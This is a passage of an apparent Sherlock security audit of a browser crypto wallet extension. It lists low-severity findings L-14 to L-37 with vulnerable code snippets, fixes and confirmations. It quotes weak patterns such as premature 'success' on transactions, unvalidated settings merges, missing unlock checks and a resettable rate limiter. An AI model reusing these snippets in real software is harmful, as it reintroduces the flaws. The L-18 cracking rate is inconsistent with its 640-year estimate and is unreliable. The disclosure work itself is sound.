  'APPROVE_SIGN_MESSAGE', 'REJECT_SIGN_MESSAGE', // Rejection resets timer
  'APPROVE_CONNECTION', 'REJECT_CONNECTION',      // Rejection resets timer
  // ...
])
```

Lines 49–51:

```
if (USER_ACTION_TYPES.has(message.type) && isWalletUnlocked()) {
  resetAutoLockAlarm()  // Timer reset on every rejection
}
```

Tool Used

Manual Review

Recommendation

Remove rejection types from the user action types set. Only approval actions and user-initiated operations should reset the auto-lock timer.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/55

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/55/changes.

Issue L-14: SWITCH_NETWORK broadcasts RPC URL and chain ID to all tabs including non-connected sites [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/114

Summary

When the user switches networks, the handler broadcasts the new network name, chain ID, and RPC endpoint URL to every open tab without checking whether each tab has an active wallet connection.

Vulnerability Detail

The network switch handler queries all open tabs and sends a wallet event with network change data to each one. The broadcast data includes the network name, chain ID, and the full RPC URL. Any website the user has open, including sites that have never interacted with the wallet, receives this information through the content script's event forwarding.

Impact

All open websites learn when the user switches networks, which network they switch to, and which RPC endpoint they use.

Code Snippet

`src/background/message-handlers.ts` **lines 331–347:**

```
SWITCH_NETWORK: async (payload) => {
  const { network } = payload as { network: string }
  const result = await switchNetwork(network)
  const { NETWORKS } = await import('@/core/network/config')
  const netConfig = NETWORKS[network]
  if (netConfig) {
    const networkInfo = { name: netConfig.name, chainId: String(netConfig.chainId),
    ↪  url: netConfig.rpc }
    chrome.tabs.query({}, tabs => {
      tabs.forEach(tab => {
        if (tab.id) chrome.tabs.sendMessage(tab.id,
          { type: 'WALLET_EVENT', event: 'networkChange', data: networkInfo
          ↪  }).catch(() => {})
```

```
      })
    })
  }
},
```

Tool Used

Manual Review

Recommendation

Only broadcast network change events to tabs whose origins have an active connection.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/61

defsec

Fixed with https://github.com/MoveIndustries/motion-wallet/pull/61.

Issue L-15: `switchWallet` destroys current signers before unlocking new wallet [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/115

Summary

The wallet switching function disposes all current signers and clears the wallet manager before attempting to unlock the target wallet. If the unlock fails, the wallet is left in a state where it appears unlocked but has no functional signers.

Vulnerability Detail

The function first disposes all cached signers, nulls out the wallet manager and mnemonic, and only then attempts to decrypt and initialize the target wallet. If that decryption or initialization fails (due to storage corruption, WDK error, or network failure during wallet manager initialization), the wallet is left in an inconsistent state: the cached accounts array still holds the old wallet's accounts (making the unlock check return true), but the cached signers array is empty and the wallet manager is null.

Any subsequent transaction, signing, or account operation would fail with confusing errors. The UI would show the wallet as unlocked with the old accounts, but all operations would silently fail.

Impact

A failed wallet switch leaves the wallet in an inconsistent state.

Code Snippet

`src/services/wallet/account.ts` lines 298–317:

```
export async function switchWallet(walletId: string): Promise<{ accounts:
↪  WalletAccount[]; walletId: string }> {
  if (!cachedPassword) throw new Error('Wallet locked')
  if (walletId === currentWalletId) return { accounts: cachedAccounts, walletId }

  const wallets = await secureStorage.getWallets()
  const target = wallets.find(w => w.id === walletId)
  if (!target) throw new Error('Wallet not found')

  cachedSigners.forEach(s => s.dispose())  // Destroyed BEFORE new wallet is ready
  cachedSigners = []
  walletManager = null
```

```
  cachedMnemonic = null

  const accounts = await unlockVault(target.vault, cachedPassword, currentNetwork)
  ↪  // Can fail here
  // If this throws, signers=[], walletManager=null, but cachedAccounts still
  ↪  populated
  currentWalletId = walletId
  // ...
}
```

Tool Used

Manual Review

Recommendation

Use a transactional approach: unlock the new wallet into temporary variables first, and only dispose the old signers after the new wallet is successfully initialized.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/61

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/61

Issue L-16: `Send.tsx` balance check uses floating-point comparison [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/116

Summary

The send page validates sufficient balance by comparing parseFloat of the amount to parseFloat of the max amount.

Vulnerability Detail

For certain decimal values, floating-point representation introduces small errors that can cause the comparison to fail incorrectly or pass when it should not. The actual send operation uses string-based BigInt conversion, so the validation and execution use different arithmetic systems, creating an inconsistency.

Impact

Edge cases where the float-based validation passes but the BigInt-based amount exceeds the actual balance, or vice versa.

Code Snippet

`src/popup/pages/Send.tsx` lines 84–92:

```
const num = parseFloat(amount)
if (isNaN(num) || num <= 0) {
  setAmountError('Enter a valid amount')
  return
}
if (num > parseFloat(maxAmount)) {  // Floating-point comparison
  setAmountError('Insufficient balance')
  return
}
```

Tool Used

Manual Review

Recommendation

Use BigInt-based comparison: compare the parsed token amount against the raw balance amount, both as BigInt values.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/57

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/57.

Issue L-17: Bridge EVM address validation does not check EIP-55 checksum [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/117

Summary

The EVM address validation function accepts any 40-character hex string without verifying the EIP-55 mixed-case checksum. Address typos that produce valid hex are not caught.

Vulnerability Detail

The validation lowercases the address and checks it against a hex regex. This destroys the EIP-55 checksum information, which uses mixed-case hex to encode a checksum that catches approximately 99.998% of single-character typos. For a bridge operation where funds are irreversible, accepting any valid hex string without checksum verification increases the risk of sending tokens to an incorrect address.

Impact

Users can bridge tokens to a mistyped address that happens to be valid hex.

Code Snippet

`src/services/bridge/layerzero.ts` **lines 84–88:**

```
export function isValidEvmAddress(address: string): boolean {
  if (!address.startsWith('0x')) return false
  const cleaned = address.toLowerCase().replace('0x', '')  // Checksum info
  ↪  destroyed
  return cleaned.length === 40 && /^[a-f0-9]{40}$/.test(cleaned)
}
```

Tool Used

Manual Review

Recommendation

Implement EIP-55 checksum verification. If the address contains mixed case, verify the checksum. If all lowercase, accept it as intentionally unchecksummed.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/57

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/57.

Issue L-18: Password policy missing special character requirement [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/120

Summary

The password policy requires only uppercase letters, lowercase letters, and digits with a minimum length of 8 characters. No special character requirement is enforced.

Vulnerability Detail

With the current character set of 62 characters (A-Z, a-z, 0-9) and minimum length of 8, the keyspace is approximately 2.18 x 10^14. Given 600,000 PBKDF2 iterations and an RTX 4090's throughput of roughly 10.8 attempts per second, exhaustive search would take approximately 640 years. However, dictionary-based and rule-based attacks significantly reduce the practical search space.

Impact

Passwords at the minimum length with common patterns are vulnerable to dictionary and rule-based attacks despite the PBKDF2 protection.

Code Snippet

`src/core/crypto/constants.ts` **lines 21–26**

Tool Used

Manual Review

Recommendation

Increase minimum length to 10 characters or add a special character requirement.

Discussion

Rahat-ch

Addressed in this PR https://github.com/MoveIndustries/motion-wallet/pull/22

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/22.

Issue L-19: Manifest discrepancy between public/-manifest.json and vite.config.ts [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/121

Summary

A static manifest file exists alongside the programmatic manifest definition used by the build system. The two differ in content, which may mislead manual code reviewers.

Vulnerability Detail

The CRXJS build plugin uses the manifest definition from the Vite configuration file, not the static JSON file in the public directory. The static file lacks the MAIN world content script entry and has different web accessible resources configuration. Reviewers examining the static file would form an incomplete picture of the extension's actual permissions and capabilities.

Impact

Misleading documentation that could cause security reviewers to miss the MAIN world script injection surface.

Code Snippet

`public/manifest.json`, `vite.config.ts` **lines 7–54**

Tool Used

Manual Review

Recommendation

Remove the static manifest file or keep it in sync with the programmatic definition.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/58

Issue L-20: `approveSignMessage` has no session recovery [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/124

Summary

Unlike transaction approvals, sign message approvals do not fall back to session storage when the in-memory Map entry is lost after a service worker restart. The sign message request is persisted but never recovered.

Vulnerability Detail

The `approveSignMessage` function immediately returns `{ expired: true }` if the entry is not in the in-memory Map. By contrast, `approveTransaction` has recovery logic that loads from session storage when the Map entry is missing. The sign message request is persisted to session storage during creation, but the approval path never reads it back, making the persistence dead code.

Impact

Sign message requests are permanently lost on service worker restart, even though their data is preserved in session storage. Users must return to the dApp and reinitiate the sign request.

Code Snippet

`src/background/transaction-manager.ts` lines 229–235:

```
export async function approveSignMessage(id: string): Promise<{ expired?: boolean;
↪  error?: string }> {
  const pending = pendingSignMessages.get(id)
  if (!pending) {
    await removeStored(sKey('msg', id))
    return { expired: true }  // No session storage recovery attempted (unlike
    ↪  approveTransaction)
  }
  // ...
```

Tool Used

Manual Review

Recommendation

Add session storage recovery logic consistent with `approveTransaction`, or remove the dead-code persistence for sign messages.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/61

Issue L-21: AIP-62 `onAccountChange` / `onNetworkChange` listeners accumulate without bound [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/127

Summary

The AIP-62 event listener registration methods wrap the provided callback in a closure before adding it to the listener set. The caller cannot unregister the original callback because the registered callback is the wrapper, not the original. Repeated registrations accumulate without bound.

Vulnerability Detail

When a dApp calls `onAccountChange(callback)`, the method creates a wrapper closure and adds it to the event listener Set via `addEventListener`. The wrapper references the original callback but is a different function object. If the dApp tries to remove the listener by passing the original callback to `removeEventListener`, the removal fails because the Set contains the wrapper.

A malicious dApp can call `onAccountChange` in a loop, registering thousands of wrappers. Each account change event fires all accumulated callbacks, causing CPU exhaustion.

Impact

Denial of service against the wallet provider in the page context. Event processing becomes progressively slower with accumulated listeners.

Code Snippet

`src/injected/wallet-provider.ts` lines 282–291:

```
onAccountChange: (callback: (account: AptosAccountInfo | null) => void): void => {
  addEventListener('accountChange', (data) => {  // Wrapper closure - not the
  ↪  original callback
    const account = data as AptosAccountInfo | null
    connectedAccount = account
    motionWallet.accounts = account ? [account] : []
    callback(account)
  })
},
```

Tool Used

Manual Review

Recommendation

Return an unsubscribe function or deduplicate callbacks. Impose a maximum listener count per event type.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/59

Issue L-22: All transaction functions return ”success” before on-chain confirmation [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/128

Summary

Every transaction function, send, swap, bridge, and migration, returns a ”success” status immediately after submitting to the RPC mempool, before the chain confirms the transaction. The on-chain confirmation call is fire-and-forget with errors silently swallowed.

Vulnerability Detail

After submitting a transaction to the RPC, the code calls `signer.waitForTransaction(result.hash).catch(() => {})`, a fire-and-forget operation that silently discards any errors. The function then returns `status: 'success'` to the caller.

If the transaction is dropped from the mempool, reverts on-chain, or fails due to insufficient gas, the user is never notified. The UI displays ”success” and the user believes the operation completed. For bridge transactions, this is especially dangerous: the user believes their cross-chain transfer is in progress, but the source-chain transaction may have failed, meaning tokens were never locked and will not arrive on the destination chain.

The same pattern repeats across `sendCoin`, `executeSwap`, `executeBridge`, and `migrateMoveToFA`.

Impact

Users see ”success” for transactions that may fail on-chain.

Code Snippet

`src/services/wallet/transaction.ts` **lines 23–34** – sendCoin:

```
const result = await signer.sendTransaction({
  to: params.to,
  value: BigInt(params.amount),
})

signer.waitForTransaction(result.hash).catch(() => {})  // Fire-and-forget

return {
```

```
  hash: result.hash,
  status: 'success',   // Returned BEFORE on-chain confirmation
  timestamp: Date.now(),
}
```

Tool Used

Manual Review

Recommendation

Wait for on-chain confirmation before returning success: `await signer.waitForTransaction(result.hash)`.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/57

defsec

Hi @Rahat-ch , I'm not able to locate fix for that one, am I missing anything? Thank you!

Rahat-ch

ah sorry should be commited now here:

https://github.com/MoveIndustries/motion-wallet/pull/61

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/61.

Issue L-23: AES GCM encrypt has no additional authenticated data [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/129

Summary

The AES-GCM encryption call does not pass any Additional Authenticated Data. The vault's `version` and `type` fields exist outside the ciphertext and can be modified by an attacker with storage access without breaking decryption.

Vulnerability Detail

AES-GCM supports an `additionalData` parameter that is authenticated but not encrypted, meaning any modification to it causes decryption to fail. The wallet's encrypt call does not use this parameter, leaving the `version` field (always set to 1) and the `type` field (added outside encryption as `'mnemonic'` or `'private-key'`) unauthenticated.

Code Snippet

`src/core/crypto/vault.ts` **lines 51–55** : No AAD:

```
const ciphertext = await crypto.subtle.encrypt(
  { name: CRYPTO_CONFIG.ALGO, iv },  // No additionalData field
  key,
  encoder.encode(data)
)
```

Tool Used

Manual Review

Recommendation

Include vault metadata as AAD:

```
const aad = new TextEncoder().encode(JSON.stringify({ version: 1, type: vaultType
↪  }))
const ciphertext = await crypto.subtle.encrypt(
  { name: CRYPTO_CONFIG.ALGO, iv, additionalData: aad },
  key,
```

```
  encoder.encode(data)
)
```

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/60

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/60

Issue L-24: `cleanupStaleRequests` only cleans session storage [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/131

Summary

The stale request cleanup alarm only removes entries from `chrome.storage.session`. The in-memory `pendingTransactions` and `pendingSignMessages` Maps are never cleaned, accumulating leaked closures that hold resolve/reject callbacks.

Vulnerability Detail

The cleanup function runs every 5 minutes and removes session storage entries older than 5 minutes. However, it never touches the in-memory Maps that hold the actual Promise callbacks. Each orphaned Map entry retains closures over the resolve and reject functions, preventing garbage collection of the entire Promise chain.

Additionally, the cleanup creates an asymmetry: it deletes session storage entries that may still have corresponding in-memory Map entries. After cleanup, if the service worker is still alive, calling `approveTransaction(id)` for a cleaned-up ID would still find the in-memory entry and proceed with signing even though the session storage backup no longer exists. The transaction would succeed but have no recovery path if the service worker restarts mid-operation.

Impact

Progressive memory leak from accumulated orphaned Promise closures.

Code Snippet

`src/background/transaction-manager.ts` lines 305–324:

```
export async function cleanupStaleRequests(): Promise<void> {
  const MAX_AGE = 5 * 60 * 1000
  const now = Date.now()
  const all = await chrome.storage.session.get(null)
  const staleKeys: string[] = []

  for (const [key, value] of Object.entries(all)) {
    if (
      (key.startsWith('pending_tx_') || key.startsWith('pending_msg_') ||
      ↪  key.startsWith('pending_conn_')) &&
```

```
      value?.createdAt &&
      now - value.createdAt > MAX_AGE
    ) {
      staleKeys.push(key)
    }
  }

  if (staleKeys.length > 0) {
    await chrome.storage.session.remove(staleKeys)
  }
  // pendingTransactions Map and pendingSignMessages Map NEVER cleaned
}
```

Tool Used

Manual Review

Recommendation

Also iterate the in-memory Maps and reject/delete stale entries during cleanup:

```
for (const [id, entry] of pendingTransactions) {
  if (now - entry.request.createdAt > MAX_AGE) {
    entry.reject(new Error('Request expired'))
    pendingTransactions.delete(id)
  }
}
```

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/56

defsec

Fixed with : https://github.com/MoveIndustries/motion-wallet/pull/56

Issue L-25: Popup `CreateWallet` verification uses hard-coded indices [0, 4, 8] instead of random [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/133

Summary

The popup's in-app wallet creation flow always asks the user to verify the 1st, 5th, and 9th words of the mnemonic, using hardcoded indices instead of random selection.

Vulnerability Detail

An attacker observing a user's verification flow (e.g., via screen recording or shoulder surfing) always learns the same three words. Random selection would require the attacker to observe multiple creation flows to collect all words.

Impact

The verification step is a UX feature to ensure the user recorded the mnemonic. The predictable indices marginally reduce the security of the verification against targeted observation.

Code Snippet

`src/popup/pages/CreateWallet.tsx` lines 63–69:

```
const verifyIndices = [0, 4, 8]  // Hardcoded instead of randomly selected
```

Tool Used

Manual Review

Recommendation

Use `crypto.getRandomValues()` to select random verification indices.

Discussion

Rahat-ch

adressed https://github.com/MoveIndustries/motion-wallet/pull/54

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/54.

Issue L-26: `SEND_TRANSACTION` and other financial handlers lack explicit `isWalletUnlocked()` guard [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/134

Summary

Multiple state-changing financial message handlers, including SEND_TRANSACTION, EXECUTE_SWAP, EXECUTE_BRIDGE, and MIGRATE_MOVE_TO_FA, do not explicitly check `isWalletUnlocked()` before proceeding. They rely on downstream functions to fail if the wallet is locked.

Vulnerability Detail

The DAPP_REQUEST handlers check `isWalletUnlocked()` before processing dApp requests. However, the internal handlers for send, swap, bridge, and migration skip this check entirely. They rely on `getSigner()` throwing if no signers are cached. This implicit check is fragile:

Impact

Defense-in-depth violation.

Code Snippet

`src/background/message-handlers.ts` lines 140–150 – SEND_TRANSACTION, no unlock check:

```
SEND_TRANSACTION: async (payload) => {
  const { network, accountIndex, to, amount, token } = payload as { /* ... */ }
  const result = await sendCoin(network, accountIndex, { to, amount, token })  //
  ↪  No isWalletUnlocked()
  return { result }
},
```

Tool Used

Manual Review

Recommendation

Add `if (!isWalletUnlocked()) throw new Error('Wallet is locked')` at the top of all financial operation handlers.

Discussion

Rahat-ch

https://github.com/MoveIndustries/motion-wallet/pull/55

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/55/changes.

Issue L-27: Swap amountOutMin from hardcoded array index [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/136

Summary

The minimum output amount for swaps is extracted from a hardcoded array index (`[10]`) in the Mosaic API response. If the index is wrong or out of bounds, it silently defaults to `'0'`, removing all slippage protection.

Vulnerability Detail

The swap quote function reads `data.tx?.functionArguments?.[10] as string ?? '0'`. If the API response format changes and the minimum output amount moves to a different index, or if the array has fewer than 11 elements, the optional chaining returns `undefined` which falls through to `'0'`.

Impact

Silent loss of slippage protection.

Code Snippet

`src/services/swap/mosaic.ts` line 107:

```
const minOut = data.tx?.functionArguments?.[10] as string ?? '0'
```

Tool Used

Manual Review

Recommendation

Parse the minimum output amount from a named field in the API response, not a hardcoded array index. Validate that the value is non-zero before proceeding.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/59

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/59.

Issue L-28: Recovered transactions signed without wallet identity verification [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/138

Summary

After a service worker restart, recovered transactions from session storage can be signed by a different wallet than originally requested because the persisted request does not store the wallet ID.

Vulnerability Detail

When a transaction is persisted to session storage via `persist()`, only the request payload (origin, function, arguments) is stored, not the wallet ID or account index that was active at the time. After a service worker restart, if the user has switched wallets, `approveTransaction` recovers the request and signs it with whichever wallet is currently active, which may differ from the original.

Impact

A transaction intended for wallet A could be signed and submitted by wallet B after a service worker restart and wallet switch.

Code Snippet

`src/background/transaction-manager.ts` **lines 53-54** – no wallet ID persisted:

```
async function persist<T>(key: string, request: T): Promise<void> {
  await chrome.storage.session.set({ [key]: { request, createdAt: Date.now() } })
}
```

Tool Used

Manual Review

Recommendation

Persist the active wallet ID and account index alongside the request. On recovery, verify they match the currently active wallet before proceeding.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/61

defsec

Fix is verified on the https://github.com/MoveIndustries/motion-wallet/pull/61.

Issue L-29: `UPDATE_SETTINGS` accepts arbitrary payload [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/139

Summary

The settings update handler merges any payload object into persisted settings without validating field names or values. An attacker with internal message access could set auto-lock timeout to zero, permanently disabling automatic wallet locking.

Vulnerability Detail

The handler spreads the raw payload into settings: `const updated = { ...settings, ...(payload as object) }`. There is no validation of which fields are being set or what values they contain. Any field in `StoredSettings` (network, autoLockTimeout, currency) can be overwritten with arbitrary values.

Impact

A compromised UI context or message injection can silently disable auto-lock, set the network to an attacker-controlled value, or corrupt settings.

Code Snippet

`src/background/message-handlers.ts` lines 195–200:

```
UPDATE_SETTINGS: async (payload) => {
  const settings = await secureStorage.getSettings()
  const updated = { ...settings, ...(payload as object) }
  await secureStorage.saveSettings(updated)
  return { settings: updated }
},
```

Tool Used

Manual Review

Recommendation

Validate that the payload only contains known settings fields with correct types and acceptable value ranges. Reject unknown fields.

Discussion

Rahat-ch

addressed on https://github.com/MoveIndustries/motion-wallet/pull/56

defsec

Fixed with https://github.com/MoveIndustries/motion-wallet/pull/56/changes.

Issue L-30: Rate limiter resets on service worker restart [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/140

Summary

The sliding window rate limiter stores timestamps in an in-memory Map that is lost when the MV3 service worker terminates. A dApp can bypass rate limits by waiting for the service worker to restart (~30s of inactivity).

Vulnerability Detail

The `windows` Map on line 4 of `rate-limiter.ts` is module-level state. MV3 service workers terminate after ~30 seconds of inactivity, clearing all module-level state. After restart, the rate limiter has zero history for all origins.

Impact

Rate limiting is ineffective against patient attackers. Any dApp can bypass the 30-requests-per-10-seconds limit by waiting 30 seconds between bursts.

Code Snippet

`src/background/rate-limiter.ts` **lines 1–4:**

```
const WINDOW_MS = 10_000
const MAX_REQUESTS = 30

const windows: Map<string, number[]> = new Map()
```

Tool Used

Manual Review

Recommendation

Persist rate limit state in `chrome.storage.session` so it survives service worker restarts.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/46

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/46/changes

Issue L-31: `broadcastDisconnect` fires on every wallet switch/add/delete [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/141

Summary

The `broadcastDisconnect()` function is called on wallet switch, add, and delete operations. It sends a disconnect event to every open tab, disconnecting all dApps regardless of whether the wallet change affects them.

Vulnerability Detail

Three handlers call `broadcastDisconnect()`: SWITCH_WALLET, ADD_WALLET, and DELETE_WALLET. The function queries all tabs and sends a disconnect event to each. This is distinct from the SWITCH_NETWORK broadcast, this one fires disconnect events that break active dApp sessions.

Impact

Every wallet operation disconnects all dApps. A user switching wallets loses all active dApp connections across all tabs, even for dApps connected to unaffected wallets.

Code Snippet

`src/background/message-handlers.ts` lines 349-377:

```
SWITCH_WALLET: async (payload) => {
  const { walletId } = payload as { walletId: string }
  const result = await switchWallet(walletId)
  broadcastDisconnect()  // Disconnects ALL tabs
  return { accounts: result.accounts, activeWalletId: result.walletId }
},

ADD_WALLET: async (payload) => {
  // ...
  broadcastDisconnect()  // Disconnects ALL tabs
},

DELETE_WALLET: async (payload) => {
  // ...
  broadcastDisconnect()  // Disconnects ALL tabs
},
```

Tool Used

Manual Review

Recommendation

Only broadcast disconnect to tabs whose connections are affected by the wallet change. Check each tab's origin against the connection list before sending.

Discussion

Rahat-ch

Fixed in MoveIndustries/motion-wallet#79 – broadcastDisconnect now only targets origins connected to the affected wallet.

Issue L-32: Concurrent connection requests from same origin overwrite each other [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/142

Summary

The `pendingRequests` Map uses the origin as the key. A second connection request from the same origin overwrites the first, orphaning its Promise forever.

Vulnerability Detail

When `requestConnection` is called, it does `pendingRequests.set(request.origin, ...)`. If a second request arrives from the same origin before the first is resolved, the first entry is overwritten. The first request's Promise never resolves, the dApp tab hangs indefinitely.

Impact

First tab's connection request hangs forever. The Promise never resolves or rejects, causing the dApp to freeze.

Code Snippet

`src/background/connection-manager.ts` line 57:

```
pendingRequests.set(request.origin, { request, resolve, reject })
```

Tool Used

Manual Review

Recommendation

Before setting a new pending request, check if one already exists for the origin and reject it first. Or use a unique ID instead of origin as the Map key.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/53

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/53.

Issue L-33: Content script response unwrapping leaks internal fields to page context [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/143

Summary

The content script's response forwarding uses `response?.data ?? response`, which falls through to the full internal `MessageResponse` envelope when `data` is undefined, exposing internal state to the page context.

Vulnerability Detail

When the background returns an error response (`{ success: false, error: '...' }`), the `data` field is undefined. The nullish coalescing falls through to `response` itself – the entire internal envelope including `success`, `code`, and any other internal fields. This is posted to the page window via `postMessage` and received by the injected provider and any co-resident scripts.

Impact

Internal error structure, success/failure status, and potentially sensitive fields like `bridgeFee` are leaked to the page context through every error response.

Code Snippet

`src/content/inject.ts` line 22:

```
response: response?.data ?? response,  // Falls through to full envelope on error
```

Tool Used

Manual Review

Recommendation

Always unwrap to `response?.data` and handle the error case separately. Never forward the raw internal envelope to the page context.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/53

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/53.

Issue L-34: `DAPP_REQUEST` handler hardcodes `tabId: 0` [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/144

Summary

The `handleDappRequest` function passes `tabId: 0` to `requestConnection` instead of the real `sender.tab.id` from the message listener.

Code Snippet

`src/background/message-handlers.ts` line 422:

```
case 'connect': {
  const response = await requestConnection({ origin, tabId: 0 })
```

Tool Used

Manual Review

Recommendation

Propagate the real tab ID from `sender.tab.id` through the handler chain.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/53

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/53/changes.

Issue L-35: Mnemonic verification pool has only 6 chips for 3 slots [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/146

Summary

The onboarding verification step presents 3 correct words and only 3 decoys (6 total). The probability of guessing all 3 correctly is `(3/6) * (2/5) * (1/4) = 5%` per attempt, with unlimited retries.

Vulnerability Detail

The verification step selects 3 correct mnemonic words and shuffles in only 3 decoy words from the remaining pool, creating 6 total word chips. The user must fill 3 slots from these 6. With unlimited retries (failed verification just clears selections), a user who did not save their phrase has a 5% chance of passing on each attempt.

Impact

Users who skip saving their recovery phrase can pass verification through random guessing, then permanently lose access to funds if they need to recover.

Code Snippet

`src/onboarding/pages/VerifyPhrasePage.tsx` lines 25-29:

```
const correctWords = verifyIndices.map((i) => words[i])
const otherWords = words.filter((_, i) => !verifyIndices.includes(i))
const decoys = shuffle(otherWords).slice(0, 3)  // Only 3 decoys
return shuffle([...correctWords, ...decoys])      // 6 total chips
```

Tool Used

Manual Review

Recommendation

Increase the decoy count.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/54

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/54.

Issue L-36: Auto-lock alarm never set for wallet creation and import [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/147

Summary

The auto-lock timer is only initialized after `UNLOCK_WALLET` succeeds. `CREATE_WALLET`, `IMPORT_WALLET_PRIVATE_KEY`, and `ADD_WALLET` all transition the wallet from locked to unlocked but never trigger `resetAutoLockAlarm()`. The wallet stays unlocked indefinitely.

Vulnerability Detail

At `index.ts`, `isWalletUnlocked()` returns false (wallet is still locked at check time). The handler then creates/imports the wallet (unlocking it). Only `UNLOCK_WALLET` triggers the alarm. The wallet is now unlocked with no auto-lock timer.

Impact

`src/background/index.ts` lines 49-56:

```
if (USER_ACTION_TYPES.has(message.type) && isWalletUnlocked()) {
  resetAutoLockAlarm()  // Skipped - wallet still locked at this point
}

handleMessage({...}).then(response => {
  if (message.type === 'UNLOCK_WALLET' && response.success) {
    resetAutoLockAlarm()  // Only for UNLOCK_WALLET
  }
})
```

Code Snippet

Tool Used

Manual Review

Recommendation

Add `CREATE_WALLET`, `IMPORT_WALLET_PRIVATE_KEY`, and `ADD_WALLET` to the post-handler alarm reset check.

Discussion

Rahat-ch

addressed https://github.com/MoveIndustries/motion-wallet/pull/55

defsec

Fix is confirmed on the https://github.com/MoveIndustries/motion-wallet/pull/55/changes.

Issue L-37: No brute-force protection on `UNLOCK_WALLET` and `GET_MNEMONIC` [RESOLVED]

Source: https://github.com/sherlock-audit/2026-03-move-industries-momentum-wallet-mar-24th-2026/issues/151

Summary

The rate limiter only applies to content script (`DAPP_REQUEST`) messages.

Vulnerability Detail

Internal messages from popup pages, including `UNLOCK_WALLET` and `GET_MNEMONIC`, have zero throttling.

Impact

Brute force.

Code Snippet

`src/background/index.ts` lines 38-46:

```
const isContentScript = sender.tab &&
↪  !sender.tab.url?.startsWith('chrome-extension://')
if (isContentScript && message.type !== 'DAPP_REQUEST') return false

if (isContentScript && message.type === 'DAPP_REQUEST') {
  const origin = (message.payload as { origin?: string })?.origin
  if (origin && isRateLimited(origin)) {  // Only content scripts hit this
```

Tool Used

Manual Review

Recommendation

Add a separate rate limiter for `UNLOCK_WALLET` attempts (e.g., exponential backoff after 5 failures). Optionally rate-limit `GET_MNEMONIC` as well.

